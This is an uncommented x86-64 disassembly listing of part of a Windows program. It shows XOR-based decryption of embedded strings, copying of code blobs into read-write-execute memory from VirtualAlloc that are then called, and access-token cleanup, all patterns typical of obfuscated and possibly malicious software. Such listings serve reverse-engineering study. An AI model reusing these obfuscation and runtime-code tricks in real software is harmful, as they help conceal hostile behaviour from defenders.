movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140245880
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6e8]
mov qword [rsi + rax*8 + 0x299a20], r12
mov qword [rsi + rax*8 + 0x29b9c0], rdx
inc rax
mov qword [0x14029a6e8], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
movups xmm0, xmmword [0x140280b88]
movups xmmword [rsp + 0x470], xmm0
movups xmm1, xmmword [0x140280b98]
movups xmmword [rsp + 0x480], xmm1
movups xmm0, xmmword [0x140280ba8]
movups xmmword [rsp + 0x490], xmm0
movzx eax, byte [0x140280bb8]
mov byte [rsp + 0x4a0], al
mov r9d, edi
cmp dword [0x140294090], 2
jl 0x140245b3d
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x474]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x1402459b0
cmp r9d, 0x31
jge 0x140245ba2
movsxd rax, r9d
lea r10, [rsp + 0x470]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x31
jl 0x140245b50
xorps xmm0, xmm0
movups xmmword [rsp + 0x370], xmm0
mov qword [rsp + 0x380], rdi
mov qword [rsp + 0x388], rdi
lea rax, [rsp + 0x470]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140245bd0
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x370]
call fcn.14021c020
lea rcx, [rsp + 0x370]
call fcn.14020f4d0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x188], 0x5dc
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x1402980d0]
test rcx, rcx
je 0x140245c8a
mov r8, rdi
lea rax, [0x14024df40]
nop
cmp rcx, rax
je 0x140245c79
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x2980d0]
test rcx, rcx
jne 0x140245c60
jmp 0x140245c8a
mov r8, qword [rsi + r8*8 + 0x29a3b0]
test r8, r8
jne 0x140245d76
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140245cb3
mov r8, rdi
jmp 0x140245d4e
lea rax, [0x14024df40]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140245cc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140298a40]
lea rcx, [0x14024df40]
mov qword [rsi + rax*8 + 0x2980d0], rcx
mov qword [rsi + rax*8 + 0x29a3b0], r8
inc rax
mov qword [0x140298a40], rax
lea rdx, [rsp + 0x188]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
movups xmm0, xmmword [0x140283518]
movups xmmword [rsp + 0x258], xmm0
movups xmm1, xmmword [0x140283528]
movups xmmword [rsp + 0x268], xmm1
movzx eax, word [0x140283538]
mov word [rsp + 0x278], ax
mov r9d, edi
cmp dword [0x140294090], 2
jl 0x140245f7d
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x25c]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140245df0
cmp r9d, 0x22
jge 0x140245fe2
movsxd rax, r9d
lea r10, [rsp + 0x258]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x22
jl 0x140245f90
xorps xmm0, xmm0
movups xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x3a0], rdi
mov qword [rsp + 0x3a8], rdi
lea rax, [rsp + 0x258]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140246010
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x390]
call fcn.14021c020
lea rcx, [rsp + 0x390]
call fcn.14020f4d0
nop
lea rbx, [0x140209450]
mov qword [rsp + 0x1c0], rdi
mov dword [rsp + 0x18c], edi
mov qword [rsp + 0x1b8], rdi
lea rax, [0x140212780]
mov qword [rsp + 0x1c8], rax
mov dword [rsp + 0x160], edi
mov qword [rsp + 0x1d8], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x14029a6f0]
test rcx, rcx
je 0x1402460fa
mov r10, rdi
lea rax, [0x14024e810]
nop word [rax + rax]
cmp rcx, rax
je 0x1402460e9
inc edx
mov r10d, edx
mov rcx, qword [rsi + rdx*8 + 0x29a6f0]
test rcx, rcx
jne 0x1402460d0
jmp 0x1402460fa
mov r10, qword [rsi + r10*8 + 0x29bcf0]
test r10, r10
jne 0x1402461e6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140246123
mov r10, rdi
jmp 0x1402461be
lea rax, [0x14024e810]
mov rcx, r10
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140246130
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402999f0]
lea rcx, [0x14024e810]
mov qword [rsi + rax*8 + 0x29a6f0], rcx
mov qword [rsi + rax*8 + 0x29bcf0], r10
inc rax
mov qword [0x1402999f0], rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x18c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1c8]
lea r8, [rsp + 0x160]
lea rdx, [rsp + 0x1d8]
mov rcx, rbx
call r10
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
jmp 0x1402462ac
lea rcx, [0x14024e810]
mov qword [rsp + 0x1e0], rdi
mov dword [rsp + 0x164], edi
mov qword [rsp + 0x1e8], rdi
lea rax, [0x14023fa70]
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0x168], edi
mov qword [rsp + 0x1f8], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rdx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rdx
mov rax, qword [rdx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rdx], rdi
mov edx, edi
mov rax, qword [0x14029a6f0]
test rax, rax
je 0x14024635c
mov r10, rdi
cmp rax, rcx
je 0x14024634b
inc edx
mov r10d, edx
mov rax, qword [rsi + rdx*8 + 0x29a6f0]
test rax, rax
jne 0x140246332
jmp 0x14024635c
mov r10, qword [rsi + r10*8 + 0x29bcf0]
test r10, r10
jne 0x140246448
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140246385
mov r10, rdi
jmp 0x140246420
lea rax, [0x14024e810]
mov rcx, r10
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140246392
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402999f0]
lea rcx, [0x14024e810]
mov qword [rsi + rax*8 + 0x29a6f0], rcx
mov qword [rsi + rax*8 + 0x29bcf0], r10
inc rax
mov qword [0x1402999f0], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x164]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1f0]
lea r8, [rsp + 0x168]
lea rdx, [rsp + 0x1f8]
mov rcx, rbx
call r10
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
jmp 0x14024650e
mov eax, dword [0x140294090]
movups xmm4, xmmword [0x140280a28]
movups xmmword [rsp + 0xe8], xmm4
mov edx, dword [0x140280a38]
mov dword [rsp + 0xf8], edx
cmp byte [0x140280a3b], 0
je 0x140246951
mov rax, qword [rsp + 0xc40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xc40], rax
mov rax, qword [rsp + 0xc40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xc3c], edx
lea rcx, [rsp + 0xc50]
call fcn.14024a460
lea rcx, [rsp + 0xc58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0xcd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xb58]
call fcn.14024c260
nop
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xbc0], rax
mov rdx, qword [rsp + 0xc30]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140247273
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc28]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140247299
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc20]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1402472bf
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xc18]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r15d
sub r15d, 1
jg 0x1402472e5
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
nop
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xb78], rax
mov rdx, qword [rsp + 0xb88]
mov rcx, qword [rsp + 0xb80]
test rdx, rdx
je 0x140247324
test rcx, rcx
je 0x14024731c
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rsp + 0xb80]
mov qword [rsp + 0xb88], rdi
test rcx, rcx
je 0x140247337
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xb80], rdi
mov edx, 8
mov rcx, qword [rsp + 0xb90]
call fcn.140271660
nop
mov rax, qword [rsp + 0xba0]
xor rax, r14
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xa9b0]
xor rcx, rsp
call fcn.140271640
lea r11, [rsp + 0xaa30]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
mov ecx, dword [rbx + 0x20]
jne 0x140241e60
mov rax, qword [rax]
jmp 0x140241e30
call fcn.140201420
nop
mov ecx, 0x80004005
call fcn.140201e90
nop
mov ecx, 0x80004005
call fcn.140201e90
nop
mov ecx, 0x80004005
call fcn.140201e90
nop
mov ecx, 0x80004005
call fcn.140201e90
int3